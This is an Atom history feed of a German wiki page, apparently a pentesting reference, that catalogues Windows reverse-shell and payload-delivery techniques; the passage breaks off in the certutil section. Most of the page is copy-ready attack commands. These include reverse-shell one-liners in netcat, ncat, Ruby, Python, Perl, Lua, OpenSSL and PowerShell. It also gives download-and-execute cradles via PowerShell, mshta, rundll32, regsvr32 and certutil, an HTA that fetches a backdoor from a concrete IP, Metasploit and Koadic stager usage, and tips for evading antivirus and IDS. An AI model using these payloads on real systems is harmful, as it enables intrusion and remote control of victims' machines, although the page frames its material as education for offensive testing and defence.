<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Reverse_Shell_Windows</id>
	<title>Reverse Shell Windows - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Reverse_Shell_Windows"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Reverse_Shell_Windows&amp;action=history"/>
	<updated>2026-06-17T16:43:29Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Reverse_Shell_Windows&amp;diff=70428&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= Reverse Shells – Windows =  Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Reverse_Shell_Windows&amp;diff=70428&amp;oldid=prev"/>
		<updated>2026-05-30T11:20:41Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= Reverse Shells – Windows =  Ein &amp;#039;&amp;#039;&amp;#039;Reverse Shell&amp;#039;&amp;#039;&amp;#039; ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= Reverse Shells – Windows =&lt;br /&gt;
&lt;br /&gt;
Ein '''Reverse Shell''' ist eine Verbindung, bei der das Zielsystem (Opfer) aktiv eine Verbindung zum Angreifer aufbaut – im Gegensatz zur Bind Shell, bei der der Angreifer sich zum Opfer verbindet. Dieser Mechanismus wird eingesetzt, um Firewalls zu umgehen, die eingehende Verbindungen blockieren, ausgehende Verbindungen jedoch erlauben.&lt;br /&gt;
&lt;br /&gt;
Das grundlegende Prinzip:&lt;br /&gt;
* Angreifer öffnet einen Listener auf seinem System (z. B. &amp;lt;code&amp;gt;nc -lvp 4242&amp;lt;/code&amp;gt;)&lt;br /&gt;
* Opfer baut die Verbindung aktiv auf und leitet eine Shell durch den Kanal (&amp;lt;code&amp;gt;nc 192.168.178.55 -e /bin/sh&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Dieser Artikel dokumentiert gängige Techniken aus offensiven Sicherheitstests (Pentesting, CTF). Das Wissen dient dem Verständnis von Angriffsvektoren und ist Grundlage für die defensive Erkennung und Härtung von Systemen.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Netcat (NC) ==&lt;br /&gt;
&lt;br /&gt;
Netcat ist das klassischste Werkzeug für einfache TCP-Verbindungen. Die Windows-Variante &amp;lt;code&amp;gt;nc.exe&amp;lt;/code&amp;gt; muss in der Regel auf das Zielsystem übertragen werden, da sie nicht standardmäßig vorhanden ist.&lt;br /&gt;
&lt;br /&gt;
; Opfer (Windows):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe &amp;lt;Attacker_IP&amp;gt; &amp;lt;PORT&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die Option &amp;lt;code&amp;gt;-e&amp;lt;/code&amp;gt; leitet die Ein-/Ausgabe von &amp;lt;code&amp;gt;cmd.exe&amp;lt;/code&amp;gt; durch die TCP-Verbindung. Viele moderne nc-Varianten haben &amp;lt;code&amp;gt;-e&amp;lt;/code&amp;gt; aus Sicherheitsgründen entfernt – dann sind alternative Methoden (z. B. Pipes) nötig.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ncat ==&lt;br /&gt;
&lt;br /&gt;
Ncat ist die moderne Netcat-Implementierung aus dem Nmap-Projekt. Sie unterstützt SSL-Verschlüsselung, was die Verbindung vor Netzwerk-IDS/IPS verbergen kann – ein häufig genutzter Umgehungsansatz.&lt;br /&gt;
&lt;br /&gt;
; Opfer (Windows):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Klartext&lt;br /&gt;
ncat.exe &amp;lt;Attacker_IP&amp;gt; &amp;lt;PORT&amp;gt; -e &amp;quot;cmd.exe /c (cmd.exe 2&amp;gt;&amp;amp;1)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Mit SSL-Verschlüsselung (z. B. Port 443 – wirkt wie HTTPS-Traffic)&lt;br /&gt;
ncat.exe &amp;lt;Attacker_IP&amp;gt; &amp;lt;PORT z.B. 443&amp;gt; --ssl -e &amp;quot;cmd.exe /c (cmd.exe 2&amp;gt;&amp;amp;1)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Angreifer (Kali):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Klartext&lt;br /&gt;
ncat -l &amp;lt;PORT&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Mit SSL&lt;br /&gt;
ncat -l &amp;lt;PORT z.B. 443&amp;gt; --ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die Umleitung &amp;lt;code&amp;gt;2&amp;gt;&amp;amp;1&amp;lt;/code&amp;gt; sorgt dafür, dass auch Fehlermeldungen (stderr) durch die Shell übertragen werden – ohne diese wären Fehlermeldungen auf dem Opfersystem unsichtbar.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== SBD ==&lt;br /&gt;
&lt;br /&gt;
SBD (Secure Backdoor) ist eine portable Netcat-Alternative mit starker Verschlüsselung. Sie läuft auf Unix-Systemen und Win32. Die &amp;lt;code&amp;gt;sbd.exe&amp;lt;/code&amp;gt;-Version aus Kali Linux kann als Netcat-Ersatz auf Windows-Zielen eingesetzt werden.&lt;br /&gt;
&lt;br /&gt;
; Opfer (lauscht auf Port 4444 und wartet auf Verbindung):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sbd -l -p 4444 -e bash -v -n&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Angreifer (verbindet sich):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sbd 10.10.10.10 4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Besonderheiten von SBD: eingebaute Verschlüsselung, frei wählbare Quellports, automatische Wiederverbindung.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ruby ==&lt;br /&gt;
&lt;br /&gt;
Falls Ruby auf dem Zielsystem installiert ist (z. B. auf Entwicklungsmaschinen), lässt sich damit eine Shell ohne zusätzliche Binaries aufbauen.&lt;br /&gt;
&lt;br /&gt;
; Opfer (Windows):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ruby -rsocket -e 'c=TCPSocket.new(&amp;quot;[IPADDR]&amp;quot;,&amp;quot;[PORT]&amp;quot;);while(cmd=c.gets);IO.popen(cmd,&amp;quot;r&amp;quot;){|io|c.print io.read}end'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der One-Liner öffnet einen TCP-Socket, liest Befehle zeilenweise ein, führt sie via &amp;lt;code&amp;gt;IO.popen&amp;lt;/code&amp;gt; aus und sendet die Ausgabe zurück.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
Python ist auf vielen Systemen vorhanden. Die Windows-Variante mit &amp;lt;code&amp;gt;C:\Python27\python.exe&amp;lt;/code&amp;gt; oder modernem Python3. Der gezeigte One-Liner ist absichtlich stark obfuskiert (Lambda-Chaining) – ein typischer Evasion-Trick gegen einfache signaturbasierte Erkennung.&lt;br /&gt;
&lt;br /&gt;
; Opfer (Windows, obfuskierter One-Liner für Python 2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Python27\python.exe -c &amp;quot;(lambda __y, __g, __contextlib: ...&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Im Kern öffnet der Code einen Socket zu IP &amp;lt;code&amp;gt;10.11.0.37:4444&amp;lt;/code&amp;gt;, startet zwei Threads (stdin→Prozess und Prozess→Socket) und bindet &amp;lt;code&amp;gt;\\windows\\system32\\cmd.exe&amp;lt;/code&amp;gt; daran. Die Obfuskierung dient der Umgehung von AV und Logging-Lösungen, die nach klaren Mustern wie &amp;lt;code&amp;gt;subprocess.Popen&amp;lt;/code&amp;gt; suchen.&lt;br /&gt;
&lt;br /&gt;
Eine lesbare Kurzfassung (Python 3) zum Vergleich:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import socket, subprocess, os&lt;br /&gt;
s = socket.socket()&lt;br /&gt;
s.connect((&amp;quot;10.11.0.37&amp;quot;, 4444))&lt;br /&gt;
os.dup2(s.fileno(), 0)&lt;br /&gt;
os.dup2(s.fileno(), 1)&lt;br /&gt;
os.dup2(s.fileno(), 2)&lt;br /&gt;
subprocess.call([&amp;quot;cmd.exe&amp;quot;])&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Perl ==&lt;br /&gt;
&lt;br /&gt;
Perl ist auf älteren Windows-Systemen und in vielen Linux/Unix-Umgebungen vorhanden. Zwei gebräuchliche Varianten:&lt;br /&gt;
&lt;br /&gt;
; Variante 1 (Socket-Modul):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
perl -e 'use Socket;$i=&amp;quot;ATTACKING-IP&amp;quot;;$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;quot;tcp&amp;quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDOUT,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);open(STDERR,&amp;quot;&amp;gt;&amp;amp;S&amp;quot;);exec(&amp;quot;/bin/sh -i&amp;quot;);};'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Variante 2 (IO::Socket::INET):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,&amp;quot;ATTACKING-IP:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Variante 2 ist kompakter und nutzt das MIO-Modul. Beide leiten stdin/stdout/stderr auf den Socket um und rufen dann eine Shell auf.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Lua ==&lt;br /&gt;
&lt;br /&gt;
Lua findet sich z. B. in eingebetteten Systemen, Spieleservern und als Scripting-Engine in diversen Anwendungen. Wenn lua5.1 vorhanden ist:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lua5.1 -e 'local host, port = &amp;quot;127.0.0.1&amp;quot;, 4444 local socket = require(&amp;quot;socket&amp;quot;) local tcp = socket.tcp() local io = require(&amp;quot;io&amp;quot;) tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, &amp;quot;r&amp;quot;) local s = f:read(&amp;quot;*a&amp;quot;) f:close() tcp:send(s) if status == &amp;quot;closed&amp;quot; then break end end tcp:close()'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Code verbindet sich zum Angreifer, empfängt Befehle in einer Schleife, führt sie via &amp;lt;code&amp;gt;io.popen&amp;lt;/code&amp;gt; aus und sendet die Ausgabe zurück. &amp;lt;code&amp;gt;status == &amp;quot;closed&amp;quot;&amp;lt;/code&amp;gt; beendet die Schleife sauber bei Verbindungsabbruch.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== OpenSSL ==&lt;br /&gt;
&lt;br /&gt;
OpenSSL ermöglicht eine vollständig verschlüsselte Reverse Shell ohne zusätzliche Tools – TLS-Verschlüsselung macht den Traffic für IDS/IPS-Systeme ohne SSL-Inspection weitgehend unsichtbar. Zwei Ports werden genutzt: einer für Befehle (stdin), einer für die Ausgabe (stdout).&lt;br /&gt;
&lt;br /&gt;
; Angreifer (Kali) – Zertifikat generieren und zwei Listener starten:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Selbstsigniertes Zertifikat erstellen&lt;br /&gt;
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes&lt;br /&gt;
&lt;br /&gt;
# Listener für Befehlseingabe&lt;br /&gt;
openssl s_server -quiet -key key.pem -cert cert.pem -port &amp;lt;l_port&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Listener für die Ausgabe&lt;br /&gt;
openssl s_server -quiet -key key.pem -cert cert.pem -port &amp;lt;l_port2&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Opfer (Linux):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl s_client -quiet -connect &amp;lt;ATTACKER_IP&amp;gt;:&amp;lt;PORT1&amp;gt;|/bin/bash|openssl s_client -quiet -connect &amp;lt;ATTACKER_IP&amp;gt;:&amp;lt;PORT2&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Opfer (Windows):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl.exe s_client -quiet -connect &amp;lt;ATTACKER_IP&amp;gt;:&amp;lt;PORT1&amp;gt;|cmd.exe|openssl s_client -quiet -connect &amp;lt;ATTACKER_IP&amp;gt;:&amp;lt;PORT2&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der erste &amp;lt;code&amp;gt;s_client&amp;lt;/code&amp;gt; empfängt Befehle vom Angreifer und leitet sie in die Shell; der zweite sendet die Ausgabe zurück. Das Zwischenschalten der Shell via Pipe ist der Kern dieser Technik.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PowerShell ==&lt;br /&gt;
&lt;br /&gt;
PowerShell ist auf allen modernen Windows-Systemen vorhanden und wird von Angreifern bevorzugt, weil es direkt im Speicher ausführen kann ohne Dateien auf die Disk zu schreiben (''fileless execution'').&lt;br /&gt;
&lt;br /&gt;
=== Download und Ausführung aus dem Netz ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Variante 1: Proxy-Credentials werden mitgegeben&lt;br /&gt;
powershell -exec bypass -c &amp;quot;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Variante 2: Einfacher Download und Ausführung im Speicher&lt;br /&gt;
powershell &amp;quot;IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Variante 3: Neuer Prozess ohne Fenster&lt;br /&gt;
Start-Process -NoNewWindow powershell &amp;quot;IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Bei diesen Varianten führt &amp;lt;code&amp;gt;powershell.exe&amp;lt;/code&amp;gt; selbst den Netzwerkabruf durch. Der Payload wird nicht auf die Disk geschrieben (kein permanenter Artefakt).&lt;br /&gt;
&lt;br /&gt;
=== Ausführung über WebDAV ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powershell -exec bypass -f \\webdavserver\folder\payload.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hier lädt &amp;lt;code&amp;gt;svchost.exe&amp;lt;/code&amp;gt; (WebDAV-Client) die Datei; &amp;lt;code&amp;gt;powershell.exe&amp;lt;/code&amp;gt; selbst führt keine Netzwerkkommunikation durch. Der Payload landet im lokalen WebDAV-Cache.&lt;br /&gt;
&lt;br /&gt;
=== TCP-Shell One-Liner ===&lt;br /&gt;
&lt;br /&gt;
Vollständiger PowerShell-TCP-Reverse-Shell-One-Liner ohne externe Abhängigkeiten:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$client = New-Object System.Net.Sockets.TCPClient(&amp;quot;10.10.10.10&amp;quot;,80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der One-Liner liest Bytes aus dem TCP-Stream, wandelt sie in einen String um, führt ihn via &amp;lt;code&amp;gt;Invoke-Expression&amp;lt;/code&amp;gt; aus und sendet stdout+stderr plus einen Prompt zurück – ein vollständig interaktives Shell-Gefühl.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mshta ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;mshta.exe&amp;lt;/code&amp;gt; (Microsoft HTML Application Host) ist ein legitimes Windows-Binary, das HTA-Dateien ausführt. Da es signiert und Teil des Betriebssystems ist, umgeht es oft Application Whitelisting.&lt;br /&gt;
&lt;br /&gt;
; Payload von HTTP laden:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mshta http://webserver/payload.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Payload via VBScript-Handler:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mshta vbscript:Close(Execute(&amp;quot;GetObject(&amp;quot;&amp;quot;script:http://webserver/payload.sct&amp;quot;&amp;quot;)&amp;quot;))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Payload von WebDAV:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mshta \\webdavserver\folder\payload.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Beispiel HTA-Datei, die eine PowerShell-Backdoor nachlädt (hta-psh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;scRipt language=&amp;quot;VBscRipT&amp;quot;&amp;gt;CreateObject(&amp;quot;WscrIpt.SheLL&amp;quot;).Run &amp;quot;powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')&amp;quot;&amp;lt;/scRipt&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Minimales HTA-Beispiel (öffnet calc.exe):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;HTA:APPLICATION ID=&amp;quot;HelloExample&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;script language=&amp;quot;jscript&amp;quot;&amp;gt;var c = &amp;quot;cmd.exe /c calc.exe&amp;quot;; new ActiveXObject('WScript.Shell').Run(c);&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;self.close();&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Über Koadic (ein Windows-Post-Exploitation-Framework) lässt sich ein sogenannter ''Zombie'' sehr einfach per HTA-Stager ausliefern.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mshta-sct (Scriptlet) ==&lt;br /&gt;
&lt;br /&gt;
SCT-Dateien (Windows Script Components) können von &amp;lt;code&amp;gt;mshta&amp;lt;/code&amp;gt; und &amp;lt;code&amp;gt;rundll32&amp;lt;/code&amp;gt; aus dem Netz geladen und ausgeführt werden. Die XML-Datei enthält JScript-Code, der über ActiveX eine Shell startet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?XML version=&amp;quot;1.0&amp;quot;?&amp;gt;&amp;lt;!-- rundll32.exe javascript:&amp;quot;..\mshtml,RunHTMLApplication&lt;br /&gt;
&amp;quot;;o=GetObject(&amp;quot;script:http://webserver/scriplet.sct&amp;quot;);window.close(); --&amp;gt;&amp;lt;!-- mshta&lt;br /&gt;
vbscript:Close(Execute(&amp;quot;GetObject(&amp;quot;&amp;quot;script:http://webserver/scriplet.sct&amp;quot;&amp;quot;)&amp;quot;)) --&amp;gt;&amp;lt;!-- mshta&lt;br /&gt;
vbscript:Close(Execute(&amp;quot;GetObject(&amp;quot;&amp;quot;script:C:\local\path\scriptlet.sct&amp;quot;&amp;quot;)&amp;quot;)) --&amp;gt;&amp;lt;scriptlet&amp;gt;&amp;lt;public&amp;gt;&amp;lt;/public&amp;gt;&amp;lt;script&lt;br /&gt;
language=&amp;quot;JScript&amp;quot;&amp;gt; &amp;lt;![CDATA[ var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;calc.exe&amp;quot;); ]]&amp;gt;&lt;br /&gt;
&amp;lt;/script&amp;gt;&amp;lt;/scriptlet&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mshta via Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/windows/misc/hta_server&lt;br /&gt;
msf exploit(windows/misc/hta_server) &amp;gt; set srvhost 192.168.1.109&lt;br /&gt;
msf exploit(windows/misc/hta_server) &amp;gt; set lhost 192.168.1.109&lt;br /&gt;
msf exploit(windows/misc/hta_server) &amp;gt; exploit&lt;br /&gt;
# Auf dem Opfer:&lt;br /&gt;
Victim&amp;gt; mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Rundll32 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rundll32.exe&amp;lt;/code&amp;gt; lädt und führt DLL-Exporte aus – auch aus dem Netz über WebDAV oder UNC-Pfade. Ebenfalls ein ''Living off the Land''-Binary (LOLBIN).&lt;br /&gt;
&lt;br /&gt;
; DLL von WebDAV ausführen:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 \\webdavserver\folder\payload.dll,entrypoint&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; JavaScript-Handler über mshtml:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32.exe javascript:&amp;quot;..\mshtml,RunHTMLApplication&amp;quot;;o=GetObject(&amp;quot;script:http://webserver/payload.sct&amp;quot;);window.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rundll32 via Metasploit (SMB Delivery) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use windows/smb/smb_delivery&lt;br /&gt;
run&lt;br /&gt;
# Metasploit gibt den auszuführenden Befehl aus, z. B.:&lt;br /&gt;
rundll32.exe \\10.2.0.5\Iwvc\test.dll,0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rundll32 via Koadic ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use stager/js/rundll32_js&lt;br /&gt;
set SRVHOST 192.168.1.107&lt;br /&gt;
set ENDPOINT sales&lt;br /&gt;
run&lt;br /&gt;
# Koadic gibt den Opfer-Befehl aus, z. B.:&lt;br /&gt;
rundll32.exe javascript:&amp;quot;..\mshtml, RunHTMLApplication &amp;quot;;x=new%20ActiveXObject(&amp;quot;Msxml2.ServerXMLHTTP.6.0&amp;quot;);x.open(&amp;quot;GET&amp;quot;,&amp;quot;http://10.2.0.5:9997/ownmG&amp;quot;,false);x.send();eval(x.responseText);window.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Regsvr32 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;regsvr32.exe&amp;lt;/code&amp;gt; registriert normalerweise COM-DLLs. Mit dem &amp;lt;code&amp;gt;/u /i&amp;lt;/code&amp;gt;-Flag und einer URL kann es aber auch SCT-Dateien aus dem Netz laden – ein klassischer LOLBIN-Trick, der unter dem Begriff ''Squiblydoo'' bekannt ist.&lt;br /&gt;
&lt;br /&gt;
=== Regsvr32 via Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use multi/script/web_delivery&lt;br /&gt;
set target 3&lt;br /&gt;
set payload windows/meterpreter/reverse/tcp&lt;br /&gt;
set lhost 10.2.0.5&lt;br /&gt;
run&lt;br /&gt;
# Metasploit gibt den Opfer-Befehl aus, z. B.:&lt;br /&gt;
regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certutil ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;certutil.exe&amp;lt;/code&amp;gt; ist primär ein Zertifikatsverwaltungstool, kann aber Base64-kodierte Dateien herunterladen und dekodieren – wird deshalb häufig zum Staging von Payloads missbraucht.&lt;br /&gt;
&lt;br /&gt;
; Base64-kodierte DLL herunterladen, dekodieren und ausführen:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &amp;amp; certutil -decode payload.b64 payload.dll &amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; Base64-kodierte EXE herunterladen, dekodieren und ausführen:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
